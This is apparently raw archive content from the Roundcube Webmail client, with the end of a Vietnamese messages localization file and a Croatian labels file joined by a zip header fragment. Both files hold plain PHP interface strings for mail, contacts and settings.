$messages['erroroverquota'] = 'Không thể thực hiện thao tác do không còn đủ chỗ trống trên ổ đĩa.';
$messages['erroroverquotadelete'] = 'Không còn dư chỗ trống trên ổ đĩa. Sử dụng tổ hợp phím SHIFT+DEL để xoá thư.';
$messages['invalidrequest'] = 'Yêu cầu không hợp lệ! Không có dữ liệu nào được lưu.';
$messages['invalidhost'] = 'Sai thông tin tên máy chủ';
$messages['nomessagesfound'] = 'Không thấy có thư nào trong hộp thư này.';
$messages['mailboxempty'] = 'Hộp thư rỗng';
$messages['nomessages'] = 'Không có thư nào';
$messages['refreshing'] = 'Nạp lại dữ liệu...';
$messages['loading'] = 'Đang tải...';
$messages['uploading'] = 'Đang tải tập tin lên...';
$messages['uploadingmany'] = 'Đang tải các tập tin lên...';
$messages['loadingdata'] = 'Đang nạp dữ liệu...';
$messages['checkingmail'] = 'Kiểm tra thư mới...';
$messages['sendingmessage'] = 'Đang gửi thư...';
$messages['messagesent'] = 'Thư đã được gửi thành công.';
$messages['savingmessage'] = 'Đang lưu thư...';
$messages['messagesaved'] = 'Thư đã được lưu lại vào hộp thư Nháp.';
$messages['successfullysaved'] = 'Đã lưu thành công';
$messages['savingresponse'] = 'Đang lưu thông tin...';
$messages['deleteresponseconfirm'] = 'Bạn có thực sự muốn xoá thông tin này?';
$messages['addedsuccessfully'] = 'Liên hệ đã được thêm vào sổ địa chỉ thành công.';
$messages['contactnameexists'] = 'Đã có một liên hệ có tên như thế này.';
$messages['blockedimages'] = 'Để bảo vệ tính riêng tư, chức năng hiện ảnh từ xa bị cấm trong thư này.';
$messages['encryptedmessage'] = 'Thư này được mã hóa, không thể xem. Rất tiếc!';
$messages['nocontactsfound'] = 'Không tìm thấy liên hệ.';
$messages['contactnotfound'] = 'Không tìm thấy liên lạc được yêu cầu';
$messages['sendingfailed'] = 'Không gửi được thư';
$messages['senttooquickly'] = 'Xin đợi vài giây trước khi gửi thư này';
$messages['errorsavingsent'] = 'Có lỗi xảy ra khi lưu lại thư đã gửi.';
$messages['errorsaving'] = 'Lỗi trong quá trình lưu.';
$messages['errormoving'] = 'Không thể chuyển được thư';
$messages['errorcopying'] = 'Không thể sao chép thư';
$messages['errordeleting'] = 'Không thể xóa được thư';
$messages['errormarking'] = 'Không thể đánh dấu (các) thư';
$messages['deletecontactconfirm']  = 'Bạn có thực sự muốn xoá liên hệ đã chọn?';
$messages['deletegroupconfirm']  = 'Bạn có thực sự muốn xóa nhóm đã chọn?';
$messages['deletemessagesconfirm'] = 'Bạn thực sự có muốn xóa (các) thư đã chọn?';
$messages['deletefolderconfirm']  = 'Bạn có thực sự muốn xóa giữ liệu này?';
$messages['purgefolderconfirm']  = 'Bạn có thực sự muốn xóa toàn bộ thư trong giữ liệu này?';
$messages['contactdeleting'] = 'Đang xóa (các) liên lạc...';
$messages['groupdeleting'] = 'Đang xóa nhóm...';
$messages['folderdeleting'] = 'Đang xóa giữ liệu...';
$messages['foldermoving'] = 'Đang chuyển giữ liệu...';
$messages['foldersubscribing'] = 'Nhập vào giữ liệu...';
$messages['folderunsubscribing'] = 'Không nhập giữ liệu...';
$messages['formincomplete'] = 'Mẫu đơn chưa được hoàn toàn điền xong.';
$messages['noemailwarning'] = 'Xin nhập địa chỉ email hợp lệ.';
$messages['nonamewarning']  = 'Xin nhập tên.';
$messages['nopagesizewarning'] = 'Xin nhập kích cỡ của trang.';
$messages['norecipientwarning'] = 'Xin nhập it nhất 1 người nhận.';
$messages['nosubjectwarning']  = 'Mục "Tiêu đề" vẫn còn trống. Bạn có muốn nhập tiêu đề bây giờ không?';
$messages['nobodywarning'] = 'Gửi thư không có nội dung?';
$messages['restoresavedcomposedata'] = 'Tìm thấy một thư đã được soạn trước nhưng chưa gửi.\n\nTiêu đề: $subject\nLưu ngày: $date\n\nBạn có muốn khôi phục lại thư này?';
$messages['nosearchname'] = 'Nhập liên hệ hoặc địa chỉ email.';
$messages['notuploadedwarning'] = 'Tất cả các đính kèm vẫn chưa được tải lên hết. Xin đợi hoặc hủy việc tải lên.';
$messages['searchsuccessful'] = '$nr thư đã tìm được.';
$messages['contactsearchsuccessful'] = '$nr liên hệ đã tìm được.';
$messages['searchnomatch'] = 'Không tìm thấy sự trùng hợp nào.';
$messages['searching'] = 'Đang tìm kiếm...';
$messages['checking'] = 'Đang kiểm tra...';
$messages['stillsearching'] = 'Đang tiếp tục tìm kiếm...';
$messages['nospellerrors'] = 'Không tìm thấy lỗi chính tả.';
$messages['folderdeleted'] = 'Giữ liệu đã được xóa thành công.';
$messages['foldersubscribed'] = 'Giữ liệu được nhập vào thành công.';
$messages['folderunsubscribed'] = 'Giữ liệu không nhập vào thành công.';
$messages['deletedsuccessfully'] = 'Đã xóa thành công';
$messages['converting'] = 'Loại bỏ định dạng...';
$messages['messageopenerror'] = 'Không thể tải thư từ máy chủ';
$messages['fileuploaderror'] = 'Tải tập tin lên thất bại';
$messages['filesizeerror'] = 'Tập tin được tải lên vượt quá dung lượng tối đa....';
$messages['copysuccess'] = 'Sao chép thành công $nr địa chỉ.';
$messages['movesuccess'] = 'Đã chuyển thành công $nr địa chỉ liên hệ.';
$messages['copyerror'] = 'Không thể sao chép địa chỉ liên hệ nào.';
$messages['moveerror'] = 'Không thể chuyển địa chỉ liên hệ nào.';
$messages['sourceisreadonly'] = 'Nguồn địa chỉ này chỉ cho đọc';
$messages['errorsavingcontact'] = 'Không thể lưu địa chỉ liên lạc';
$messages['movingmessage'] = 'Đang chuyển thư...';
$messages['copyingmessage'] = 'Đang sao chép thư...';
$messages['copyingcontact'] = 'Đang sao chép liên lạc...';
$messages['movingcontact'] = 'Đang chuyển (các) địa chỉ liên hệ...';
$messages['deletingmessage'] = 'Đang xóa thư...';
$messages['markingmessage'] = 'Đánh dấu thư...';
$messages['addingmember'] = 'Đang thêm liên lạc vào nhóm...';
$messages['removingmember'] = 'Đang xóa liên lạc từ nhóm...';
$messages['receiptsent'] = 'Biên nhận đọc đã được gửi thành công.';
$messages['errorsendingreceipt'] = 'Không thể gửi ghi nhận';
$messages['deleteidentityconfirm'] = 'Bạn có thực sự muốn xóa nhận diện này?';
$messages['nodeletelastidentity'] = 'Bạn không thể xóa nhận diện này, đó là cái cuối cùng của bạn.';
$messages['forbiddencharacter'] = 'Tên giữ liệu chứa một ký tự bị cấm.';
$messages['selectimportfile'] = 'Xin chọn hồ sơ để tải lên.';
$messages['addresswriterror'] = 'Sổ địa chỉ đã chọn không thể viết lại được';
$messages['contactaddedtogroup'] = 'Thêm liên lạc vào nhóm này thành công';
$messages['contactremovedfromgroup'] = 'Xóa liên lạc khỏi nhóm này thành công';
$messages['nogroupassignmentschanged'] = 'Không quy nhóm nào đả được thay đổi';
$messages['importwait'] = 'Đang nhập, xin chờ...';
$messages['importformaterror'] = 'Nhập dữ liệu lỗi. Tệp tin vừa tải lên không phải tệp dữ liệu chính xác.';
$messages['importconfirm'] = 'Đã nhập $inserted liên hệ đã chèn vào thành công.';
$messages['importconfirmskipped'] = 'Đã bỏ qua được $skipped mục tồn tại.';
$messages['importmessagesuccess'] = 'Đã nhập thành công $nr thư.';
$messages['importmessageerror'] = 'Nhập dữ liệu bị lỗi. Tệp tin vừa tải lên không có định dạng chính xác của tệp cấu hình hòm thư hoặc một thư đơn lẻ.';
$messages['opnotpermitted'] = 'Thao tác không được cho phép!';
$messages['editorwarning'] = 'Việc chuyển công cụ soạn thảo có thể làm mất định dạng dữ liệu. Bạn có muốn tiếp tục không?';
$messages['httpreceivedencrypterror'] = 'Xuất hiện một lỗi cấu hình  tai hại. Hãy liên hệ với người quản trị ngay. <b> Thư của bạn không thể gửi được </b>';
$messages['smtpconnerror'] = 'Lỗi SMTP ($code): Kết nỗi tới máy chủ bị lỗi.';
$messages['smtpautherror'] = 'Lỗi SMTP ($code): Xác thực thất bại.';
$messages['smtpfromerror'] = 'Lỗi SMTP ($code):  Không thể bố trí người gửi "$from" ($msg).';
$messages['smtptoerror'] = 'Lỗi SMTP ($code):  Không thể bố trí người nhận "$to" ($msg).';
$messages['smtprecipientserror'] = 'Lỗi SMTP: không thể phân loại danh sách người nhận';
$messages['smtperror'] = 'Lỗi SMTP: $msg';
$messages['toomanyrecipients'] = 'Quá nhiều người nhận. Hãy giảm số lượng người nhận xuống tối đa là $max.';
$messages['maxgroupmembersreached'] = 'Số lượng thành viên trong nhóm vượt quá mức tối đa là $max.';
$messages['internalerror'] = 'Xuất hiện một lỗi nội bộ. Xin hãy thử lại';
$messages['contactdelerror'] = 'Không thể xóa liên lạc';
$messages['contactdeleted'] = 'Liên lạc được xóa thành công';
$messages['contactrestoreerror'] = 'Không thể khôi phục liên lạc đã xóa';
$messages['contactrestored'] = 'Liên lạc được khôi phục thành công';
$messages['groupdeleted'] = 'Nhóm được xóa thành công';
$messages['grouprenamed'] = 'Nhóm được đặt tên lại thành công';
$messages['groupcreated'] = 'Nhóm được tạo thành công';
$messages['savedsearchdeleted'] = 'Tìm kiếm đã lưu được xóa thành công';
$messages['savedsearchdeleteerror'] = 'Không thể xóa tìm kiếm đã lưu';
$messages['savedsearchcreated'] = 'Tìm kiếm đã lưu được tạo thành công';
$messages['savedsearchcreateerror'] = 'Không thể tạo tìm kiếm đã lưu';
$messages['messagedeleted'] = 'Thư được xóa thành công';
$messages['messagemoved'] = 'Thư được chuyển đi thành công';
$messages['messagecopied'] = 'Thư được sao chép thành công';
$messages['messagemarked'] = 'Thư được đánh dấu thành công';
$messages['autocompletechars'] = 'Phải nhập ít nhất $min ký tự để năng tự động gõ';
$messages['autocompletemore'] = 'Nhiều dữ liệu phù hợp hơn được tìm thấy. Hãy gõ thêm  ký tự.';
$messages['namecannotbeempty'] = 'Tên không được để trống';
$messages['nametoolong'] = 'Tên quá dài';
$messages['folderupdated'] = 'Giữ liệu được cập nhật thành công';
$messages['foldercreated'] = 'Giữ liệu được tạo thành công';
$messages['invalidimageformat'] = 'Không phải là định dạng ảnh hợp lệ.';
$messages['mispellingsfound'] = 'Lỗi chính tả được phát hiện trong thư';
$messages['parentnotwritable'] = 'Không thể tạo/chuyển folder vào folder gốc đã chọn. Không có quyền truy cập.';
$messages['messagetoobig'] = 'Một phần thư quá lớn để xử lý nó.';
$messages['noscriptwarning'] = 'Cảnh báo: Dịch vụ webmail này yêu cầu sử dụng Javascript. Để sử dụng, bạn cần kích hoạt hỗ trợ Javascript trong cấu hình trình duyệt Internet đang sử dụng.';
PK
h�\���7T7T%program/localization/hr_HR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Dobrodošli na $product';
$labels['username'] = 'Korisničko ime';
$labels['password'] = 'Lozinka';
$labels['server'] = 'Poslužitelj';
$labels['login'] = 'Prijava';
$labels['logout'] = 'Odjava';
$labels['mail'] = 'Pošta';
$labels['settings'] = 'Postavke';
$labels['addressbook'] = 'Imenik';
$labels['inbox'] = 'Pristigla pošta';
$labels['drafts'] = 'Predlošci';
$labels['sent'] = 'Poslano';
$labels['trash'] = 'Smeće';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Prikaži prava imena specijalnih mapa';
$labels['subject'] = 'Naslov';
$labels['from'] = 'Od';
$labels['sender'] = 'Pošiljatelj';
$labels['to'] = 'Za';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Odgovori';
$labels['followupto'] = 'Nastavi-na';
$labels['date'] = 'Datum';
$labels['size'] = 'Veličina';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organizacija';
$labels['readstatus'] = 'Pročitano';
$labels['listoptions'] = 'Opcije lista...';
$labels['mailboxlist'] = 'Mape';
$labels['messagesfromto'] = 'Poruke od $from do $to od ukupno $count';
$labels['threadsfromto'] = 'Teme od $from do $to od ukupno $count';
$labels['messagenrof'] = 'Poruka broj $nr od $count';
$labels['fromtoshort'] = '$from - $to od $count';
$labels['copy'] = 'Kopiraj';
$labels['move'] = 'Premjesti';
$labels['moveto'] = 'Premjesti u...';
$labels['copyto'] = 'Kopiraj u...';
$labels['download'] = 'Preuzmi (download)';
$labels['open'] = 'Otvori';
$labels['showattachment'] = 'Prikaži';
$labels['showanyway'] = 'Prikaži svejedno';
$labels['filename'] = 'Ime datoteke';
$labels['filesize'] = 'Veličina datoteke';
$labels['addtoaddressbook'] = 'Dodaj u imenik';
$labels['sun'] = 'Ned';
$labels['mon'] = 'Pon';
$labels['tue'] = 'Uto';
$labels['wed'] = 'Sri';
$labels['thu'] = 'Čet';
$labels['fri'] = 'Pet';
$labels['sat'] = 'Sub';
$labels['sunday'] = 'Nedjelja';
$labels['monday'] = 'Ponedjeljak';
$labels['tuesday'] = 'Utorak';
$labels['wednesday'] = 'Srijeda';
$labels['thursday'] = 'Četvrtak';
$labels['friday'] = 'Petak';
$labels['saturday'] = 'Subota';
$labels['jan'] = 'Sij';
$labels['feb'] = 'Velj';
$labels['mar'] = 'Ožu';
$labels['apr'] = 'Tra';
$labels['may'] = 'Svi';
$labels['jun'] = 'Lip';
$labels['jul'] = 'Srp';
$labels['aug'] = 'Kol';
$labels['sep'] = 'Ruj';
$labels['oct'] = 'Lis';
$labels['nov'] = 'Stu';
$labels['dec'] = 'Pro';
$labels['longjan'] = 'Siječanj';
$labels['longfeb'] = 'Veljača';
$labels['longmar'] = 'Ožujak';
$labels['longapr'] = 'Travanj';
$labels['longmay'] = 'Svibanj';
$labels['longjun'] = 'Lipanj';
$labels['longjul'] = 'Srpanj';
$labels['longaug'] = 'Kolovoz';
$labels['longsep'] = 'Rujan';
$labels['longoct'] = 'Listopad';
$labels['longnov'] = 'Studeni';
$labels['longdec'] = 'Prosinac';
$labels['today'] = 'Danas';
$labels['refresh'] = 'Osvježi';
$labels['checkmail'] = 'Provjera novih poruka';
$labels['compose'] = 'Nova poruka';
$labels['writenewmessage'] = 'Stvori novu poruku';
$labels['reply'] = 'Odgovori';
$labels['replytomessage'] = 'Odgovori pošiljatelju';
$labels['replytoallmessage'] = 'Odgovori listi ili pošiljatelju i svim primateljima';
$labels['replyall'] = 'Odgovori svima';
$labels['replylist'] = 'Odgovori listi';
$labels['forward'] = 'Proslijedi';
$labels['forwardinline'] = 'Proslijedi umetnuto';
$labels['forwardattachment'] = 'Proslijedi kao privitak';
$labels['forwardmessage'] = 'Proslijedi poruku';
$labels['deletemessage'] = 'Obriši poruku';
$labels['movemessagetotrash'] = 'Preseli poruke u smeće';
$labels['printmessage'] = 'Ispiši ovu poruku';
$labels['previousmessage'] = 'Prikaži prethodnu poruku';
$labels['firstmessage'] = 'Prikaži prvu poruku';
$labels['nextmessage'] = 'Prikaži slijedeću poruku';
$labels['lastmessage'] = 'Prikaži zadnju poruku';
$labels['backtolist'] = 'Povratak na listu poruka';
$labels['viewsource'] = 'Prikaži poruku u izvornom obliku';
$labels['mark'] = 'Označi';
$labels['markmessages'] = 'Označi poruke';
$labels['markread'] = 'Kao pročitano';
$labels['markunread'] = 'Kao nepročitano';
$labels['markflagged'] = 'Kao označeno';
$labels['markunflagged'] = 'Kao neoznačeno';
$labels['moreactions'] = 'Više akcija...';
$labels['folders-all'] = 'Sve mape';
$labels['more'] = 'Više';
$labels['back'] = 'Natrag';
$labels['options'] = 'Postavke';
$labels['actions'] = 'Radnje';
$labels['select'] = 'Odaberi';
$labels['all'] = 'Sve';
$labels['none'] = 'Ništa';
$labels['currpage'] = 'Trenutna stranica';
$labels['isread'] = 'Čitanje';
$labels['unread'] = 'Nepročitano';
$labels['flagged'] = 'Označeno';
$labels['unanswered'] = 'Neodgovoreno';
$labels['withattachment'] = 'S privitkom';
$labels['deleted'] = 'Obrisano';
$labels['undeleted'] = 'Neobrisano';
$labels['invert'] = 'Obrni';
$labels['filter'] = 'Filtriraj';
$labels['list'] = 'Lista';
$labels['threads'] = 'Teme';
$labels['expand-all'] = 'Proširi sve';
$labels['expand-unread'] = 'Proširi nepročitano';
$labels['collapse-all'] = 'Zatvori sve';
$labels['threaded'] = 'Tematski prikaz';
$labels['autoexpand_threads'] = 'Proširi teme poruka';
$labels['do_expand'] = 'sve teme';
$labels['expand_only_unread'] = 'samo s nepročitanim porukama';
$labels['fromto'] = 'Pošiljatelj/Primatelj';
$labels['flag'] = 'Oznaka';
$labels['attachment'] = 'Privitak';
$labels['nonesort'] = 'Ništa';
$labels['sentdate'] = 'Datum slanja';
$labels['arrival'] = 'Datum primitka';
$labels['asc'] = 'uzlazno';
$labels['desc'] = 'silazno';
$labels['listcolumns'] = 'Stupci';
$labels['listsorting'] = 'Sortirajući stupac';
$labels['listorder'] = 'Redoslijed sortiranja';
$labels['listmode'] = 'Model pregleda listi';
$labels['layoutlist'] = 'Lista';
$labels['folderactions'] = 'Akcije mapa...';
$labels['compact'] = 'Kompresiraj (sažmi)';
$labels['empty'] = 'Isprazni';
$labels['importmessages'] = 'Uvoz poruka';
$labels['quota'] = 'Iskorištenost diska';
$labels['unknown'] = 'nepoznato';
$labels['unlimited'] = 'neograničeno';
$labels['quicksearch'] = 'Brza pretraga';
$labels['resetsearch'] = 'Vrati pretragu u početno stanje';
$labels['searchmod'] = 'Postavke pretrage';
$labels['msgtext'] = 'Cijela poruka';
$labels['body'] = 'Tijelo poruke';
$labels['type'] = 'Tip';
$labels['namex'] = 'Ime';
$labels['searchscope'] = 'Djelokrug';
$labels['currentfolder'] = 'Trenutna mapa';
$labels['subfolders'] = 'Ovo i podmape';
$labels['allfolders'] = 'Sve mape';
$labels['openinextwin'] = 'Otvori u novom prozoru';
$labels['emlsave'] = 'Preuzmi (.eml)';
$labels['changeformattext'] = 'Prikaži kao običan tekst';
$labels['changeformathtml'] = 'Prikaži kao HTML';
$labels['editasnew'] = 'Uredi kao novo';
$labels['send'] = 'Pošalji';
$labels['sendmessage'] = 'Pošalji poruku';
$labels['savemessage'] = 'Spremi kao predložak';
$labels['addattachment'] = 'Priloži datoteku';
$labels['charset'] = 'Kodna stranica';
$labels['editortype'] = 'Tip uređivača teksta';
$labels['returnreceipt'] = 'Potvrda o primitku poruke';
$labels['dsn'] = 'Obavijest o statusu isporuke';
$labels['mailreplyintro'] = 'Dana $date, $sender je napisao(la):';
$labels['originalmessage'] = 'Izvorna poruka';
$labels['encrypt'] = 'Šifriraj';
$labels['keyid'] = 'ID ključa';
$labels['insert'] = 'Umetni';
$labels['recipient'] = 'Primatelj';
$labels['editidents'] = 'Uredi identitete';
$labels['spellcheck'] = 'Pravopis';
$labels['checkspelling'] = 'Provjera pravopisa';
$labels['resumeediting'] = 'Nastavi uređivanje';
$labels['revertto'] = 'Vrati na';
$labels['restore'] = 'Povrat';
$labels['restoremessage'] = 'Povrat poruke?';
$labels['ignore'] = 'Zanemari';
$labels['responses'] = 'Odgovori';
$labels['insertresponse'] = 'Umetni odgovor';
$labels['manageresponses'] = 'Upravljanje odgovorima';
$labels['editresponse'] = 'Uredi odgovor';
$labels['editresponses'] = 'Uredi odgovore';
$labels['responsename'] = 'Naziv';
$labels['responsetext'] = 'Tekst odgovora';
$labels['attach'] = 'Priloži';
$labels['attachments'] = 'Privitci (Attachments)';
$labels['upload'] = 'Dodaj';
$labels['close'] = 'Zatvori';
$labels['messageoptions'] = 'Postavke poruka...';
$labels['low'] = 'Nizak';
$labels['lowest'] = 'Najniži';
$labels['normal'] = 'Srednji';
$labels['high'] = 'Visok';
$labels['highest'] = 'Najviši';
$labels['nosubject'] = '(bez naslova)';
$labels['showimages'] = 'Prikaži slike';
$labels['alwaysshow'] = 'Uvijek prikaži slike od $sender';
$labels['isdraft'] = 'Ova poruka je predložak.';
$labels['andnmore'] = '$nr više...';
$labels['togglemoreheaders'] = 'Prikaži još zaglavlja poruke';
$labels['togglefullheaders'] = 'Prikaži neuređena zaglavlja poruke';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Samo tekst';
$labels['savesentmessagein'] = 'Spremi poslane poruke u';
$labels['dontsave'] = 'ne spremaj';
$labels['maxuploadsize'] = 'Maksimalna dozvoljena veličina datoteke je $size';
$labels['addcc'] = 'Dodaj Cc';
$labels['addbcc'] = 'Dodaj Bcc';
$labels['addreplyto'] = 'Dodaj Odgovori-na';
$labels['addfollowupto'] = 'Dodaj Nastavak-na';
$labels['mdnrequest'] = 'Pošiljatelj ove poruke je tražio da bude obaviješten o njenom primitku. Želite li obavijestiti pošiljatelja?';
$labels['receiptread'] = 'Potvrda o primitku (pročitano)';
$labels['yourmessage'] = 'Ovo je potvrda o primitku vaše poruke';
$labels['receiptnote'] = 'Info: Ova poruka o primitku samo potvrđuje da se poruka prikazala na računalu primatelja. Nema garancije da je primatelj pročitao ili razumio sadržaj poruke.';
$labels['name'] = 'Puno ime';
$labels['firstname'] = 'Ime';
$labels['surname'] = 'Prezime';
$labels['middlename'] = 'Srednje ime';
$labels['nameprefix'] = 'Prefiks';
$labels['namesuffix'] = 'Sufiks';
$labels['nickname'] = 'Nadimak';
$labels['jobtitle'] = 'Titula';
$labels['department'] = 'Odjel';
$labels['gender'] = 'Spol';
$labels['maidenname'] = 'Djevojačko prezime';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adresa';
$labels['street'] = 'Ulica';
$labels['locality'] = 'Grad';
$labels['zipcode'] = 'Poštanski broj';
$labels['region'] = 'Oblast';
$labels['country'] = 'Država';
$labels['birthday'] = 'Rođendan';
$labels['anniversary'] = 'Godišnjica';
$labels['website'] = 'Web stranica';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Bilješke';
$labels['male'] = 'muško';
$labels['female'] = 'žensko';
$labels['manager'] = 'Menadžer';
$labels['assistant'] = 'Asistent';
$labels['spouse'] = 'Suprug/a';
$labels['allfields'] = 'Sva polja';
$labels['search'] = 'Pretraga';
$labels['advsearch'] = 'Napredna pretraga';
$labels['advanced'] = 'Napredno';
$labels['other'] = 'Ostalo';
$labels['typehome'] = 'Kuća';
$labels['typework'] = 'Posao';
$labels['typeother'] = 'Ostalo';
$labels['typemobile'] = 'Mobitel';
$labels['typemain'] = 'Glavni';
$labels['typehomefax'] = 'Fax kuća';
$labels['typeworkfax'] = 'Fax posao';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pejdžer';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistent';
$labels['typehomepage'] = 'Početna stranica';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Dodaj polje...';
$labels['addcontact'] = 'Dodaj kontakt';
$labels['editcontact'] = 'Uredi kontakt';
$labels['contacts'] = 'Kontakti';
$labels['contactproperties'] = 'Svojstva kontakta';
$labels['personalinfo'] = 'Osobni podaci';
$labels['edit'] = 'Uredi';
$labels['cancel'] = 'Odustani';
$labels['save'] = 'Spremi';
$labels['delete'] = 'Obriši';
$labels['rename'] = 'Preimenuj';
$labels['addphoto'] = 'Dodaj';
$labels['replacephoto'] = 'Zamijeni';
$labels['uploadphoto'] = 'Postavi fotografiju';
$labels['deletecontact'] = 'Obriši odabrane kontakte';
$labels['composeto'] = 'Napiši mail za';
$labels['contactsfromto'] = 'Kontakti od $from do $to od ukupno $count';
$labels['print'] = 'Ispis';
$labels['export'] = 'Izvoz';
$labels['exportall'] = 'Izvezi sve';
$labels['exportsel'] = 'Izvezi odabrano';
$labels['exportvcards'] = 'Izvezi kontakte u vCard formatu';
$labels['grouprename'] = 'Preimenuj grupu';
$labels['groupdelete'] = 'Obriši grupu';
$labels['groupremoveselected'] = 'Obriši odabrane kontakte iz grupe ';
$labels['previouspage'] = 'Prethodna strana';
$labels['firstpage'] = 'Prva strana';
$labels['nextpage'] = 'Slijedeća strana';
$labels['lastpage'] = 'Zadnja strana';
$labels['group'] = 'Grupa';
$labels['groups'] = 'Grupe';
$labels['listgroup'] = 'Prikaži članove grupe';
$labels['personaladrbook'] = 'Privatna adresa';
$labels['searchsave'] = 'Spremi pretragu';
$labels['searchdelete'] = 'Obriši pretragu';
$labels['import'] = 'Uvoz';
$labels['importcontacts'] = 'Uvoz kontakta';
$labels['importfromfile'] = 'Uvezi iz datoteke';
$labels['importtarget'] = 'Dodaj kontakte u';
$labels['importreplace'] = 'Prepiši cijeli imenik';
$labels['importgroups'] = 'Uvezi zadatke grupe';
$labels['importgroupsall'] = 'Sve (stvori grupe ako je potrebno)';
$labels['importgroupsexisting'] = 'Samo za postojeće grupe';
$labels['done'] = 'Završeno';
$labels['settingsfor'] = 'Postavke za';
$labels['about'] = 'O programu';
$labels['preferences'] = 'Postavke';
$labels['userpreferences'] = 'Korisničke postavke';
$labels['editpreferences'] = 'Uredi korisničke postavke';
$labels['identities'] = 'Identiteti';
$labels['manageidentities'] = 'Upravljanje identitetima';
$labels['newidentity'] = 'Stvori novi identitet';
$labels['addidentity'] = 'Dodaj identitet';
$labels['identityencryption'] = 'Šifriranje';
$labels['preferhtml'] = 'Prikaži HTML';
$labels['defaultcharset'] = 'Zadana kodna stranica';
$labels['htmlmessage'] = 'HTML format poruke';
$labels['messagepart'] = 'Dio';
$labels['digitalsig'] = 'Digitalni potpis';
$labels['dateformat'] = 'Format datuma';
$labels['timeformat'] = 'Format vremena';
$labels['prettydate'] = 'Formatirani datum';
$labels['setdefault'] = 'Postavi zadano';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Jezik';
$labels['timezone'] = 'Vremenska zona';
$labels['pagesize'] = 'Redaka po stranici';
$labels['signature'] = 'Potpis';
$labels['dstactive'] = 'Ljetno/zimsko računanje vremena';
$labels['showinextwin'] = 'Otvori poruku u novom prozoru';
$labels['composeextwin'] = 'Sastavi poruku u novom prozoru';
$labels['htmleditor'] = 'Sastavi poruke u HTML formatu';
$labels['htmlonreply'] = 'pri odgovaranju na HTML poruku';
$labels['htmlonreplyandforward'] = 'pri prosljeđivanju ili odgovaranju na HTML poruku';
$labels['htmlsignature'] = 'HTML potpis';
$labels['showemail'] = 'Prikaži e-mail adresu s imenom';
$labels['previewpane'] = 'Prikaži područje pregleda';
$labels['skin'] = 'Tema sučelja';
$labels['logoutclear'] = 'Očisti smeće pri odjavi';
$labels['logoutcompact'] = 'Sažmi Inbox pri odjavi';
$labels['uisettings'] = 'Korisničko sučelje';
$labels['serversettings'] = 'Postavke poslužitelja';
$labels['mailboxview'] = 'Pregled sandučića';
$labels['mdnrequests'] = 'na zahtjev za potvrdom primitka';
$labels['askuser'] = 'pitaj me';
$labels['autosend'] = 'pošalji potvrdu';
$labels['autosendknown'] = 'pošalji potvrdu ako je pošiljatelj u mom imeniku, u suprotnom me pitaj';
$labels['autosendknownignore'] = 'pošalji potvrdu ako je pošiljatelj u mom imeniku, u suprotnom zanemari';
$labels['readwhendeleted'] = 'Označi poruku kao pročitanu pri brisanju';
$labels['flagfordeletion'] = 'Označi poruku za brisanje umjesto brisanja';
$labels['skipdeleted'] = 'Ne prikazuj obrisane poruke';
$labels['deletealways'] = 'Ukoliko premještanje poruka u mapu smeće ne uspije, izbriši poruku';
$labels['deletejunk'] = 'Odmah obriši poruke u mapi Smeće';
$labels['showremoteimages'] = 'Prikaži umetnute slike s interneta';
$labels['fromknownsenders'] = 'od poznatih pošiljatelja';
$labels['always'] = 'uvijek';
$labels['showinlineimages'] = 'Prikaži slike iz privitka ispod poruke';
$labels['autosavedraft'] = 'Automatski spremi predložak';
$labels['everynminutes'] = 'svakih $n minuta';
$labels['refreshinterval'] = 'Osvježi (provjeri nove poruke, itd.)';
$labels['never'] = 'nikad';
$labels['immediately'] = 'odmah';
$labels['messagesdisplaying'] = 'Prikaz poruka';
$labels['messagescomposition'] = 'Sastavljanje poruka';
$labels['mimeparamfolding'] = 'Nazivi privitaka';
$labels['2231folding'] = 'Prema RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Prema RFC 2047 (ostali)';
$labels['force7bit'] = 'Koristi MIME kodiranje za 8-bitne znakove';
$labels['advancedoptions'] = 'Napredne postavke';
$labels['focusonnewmessage'] = 'Fokusiraj prozor preglednika pri primitku nove poruke';
$labels['checkallfolders'] = 'Provjeri nove poruke u svim mapama';
$labels['defaultfont'] = 'Zadani font HTML poruke';
$labels['mainoptions'] = 'Glavne postavke';
$labels['browseroptions'] = 'Postavke preglednika';
$labels['section'] = 'Odjeljak';
$labels['maintenance'] = 'Održavanje';
$labels['newmessage'] = 'Nova poruka';
$labels['signatureoptions'] = 'Postavke potpisa';
$labels['whenreplying'] = 'Prilikom odgovora';
$labels['replyempty'] = 'ne citiraj originalnu poruku';
$labels['replytopposting'] = 'započni novu poruku iznad originalne';
$labels['replybottomposting'] = 'započni novu poruku ispod originalne';
$labels['replyremovesignature'] = 'Kod odgovaranja, makni originalni potpis iz poruke';
$labels['autoaddsignature'] = 'Automatski dodaj potpis';
$labels['newmessageonly'] = 'samo za nove poruke';
$labels['replyandforwardonly'] = 'samo pri odgovaranju i proslijeđivanju';
$labels['insertsignature'] = 'Umetni potpis';
$labels['afternseconds'] = 'nakon $n sekundi';
$labels['reqmdn'] = 'Uvijek zatraži potvrdu o primitku';
$labels['reqdsn'] = 'Uvijek zatraži obavijest o stanju isporuke';
$labels['replysamefolder'] = 'Spremi odgovore u mapu gdje se nalazi originalna poruka';
$labels['defaultabook'] = 'Zadani imenik';
$labels['autocompletesingle'] = 'Preskoči alternativne email adrese u autocomplete prijedlozima';
